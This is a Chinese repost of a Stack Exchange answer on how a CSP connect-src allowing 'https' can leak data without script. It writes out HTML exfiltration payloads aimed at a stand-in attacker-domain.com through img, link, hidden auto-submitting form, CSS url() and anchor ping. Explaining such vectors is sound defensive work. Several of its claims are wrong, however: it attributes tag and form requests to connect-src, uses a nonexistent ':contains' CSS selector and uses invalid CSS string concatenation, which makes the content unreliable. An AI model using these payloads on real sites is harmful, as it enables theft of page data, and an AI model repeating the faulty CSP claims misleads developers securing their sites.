允许CSP的connect-src配置为'https'存在哪些安全隐患?
绕过script-src限制后利用connect-src发送数据的可能途径
以下是几种无需执行自定义JavaScript(避开你的nonce限制),却能借助connect-src规则发起数据传输的场景:
HTML内置标签的无脚本请求
很多HTML元素无需JS就能发起GET请求,攻击者可将敏感数据编码进URL的查询参数、路径片段中,通过这些标签触发请求:- 图片标签:
<img src="https://attacker-domain.com/leak?data=xxx">,浏览器会自动加载该资源,把数据带过去 - 样式表/字体引入:
<link rel="stylesheet" href="https://attacker-domain.com/leak?data=xxx">或 CSS中的@font-face { src: url(...) } - 媒体标签:
<audio>、<video>的src属性同理,哪怕不播放,浏览器也会发起资源请求
- 图片标签:
无脚本表单提交
如果页面存在HTML注入漏洞(比如用户可控内容未被正确转义),攻击者可插入自动提交的表单:<form action="https://attacker-domain.com/collect" method="POST"> <input type="hidden" name="secret" value="页面敏感数据"> <input type="submit" style="display:none"> </form>结合
autocomplete特性或诱导用户误触,就能在无JS的情况下把数据POST到目标地址,只要connect-src允许该域名。CSS驱动的数据泄露
利用CSS特性可间接发起请求或推断页面内容:- 通过
@import或background-image的URL嵌入数据,比如background: url('https://attacker-domain.com/leak?data=' + 敏感值) - 更隐蔽的方式是利用CSS选择器匹配页面内容,比如当页面包含特定敏感文本时,加载特定URL,攻击者服务器通过请求差异推断数据(比如匹配
#secret:contains("admin")时加载/leak/admin)
- 通过
浏览器原生的ping属性
HTML的<a>标签支持ping属性,用户点击链接时,浏览器会向指定地址发送一个POST请求,包含点击链接的信息。攻击者可注入带ping属性的链接:<a href="#" ping="https://attacker-domain.com/log?data=xxx">点击查看</a>诱导用户点击后,就能通过ping请求泄露数据,只要目标域名在connect-src允许范围内。
特权进程的间接传输
除了你提到的浏览器扩展,部分浏览器内置特权功能、已授权的老旧插件(如NPAPI插件)不受页面CSP限制,可直接发起请求并传输数据,不过这类场景现在已较为少见。
内容的提问来源于stack exchange,提问作者Espen
相关产品推荐
相关产品推荐

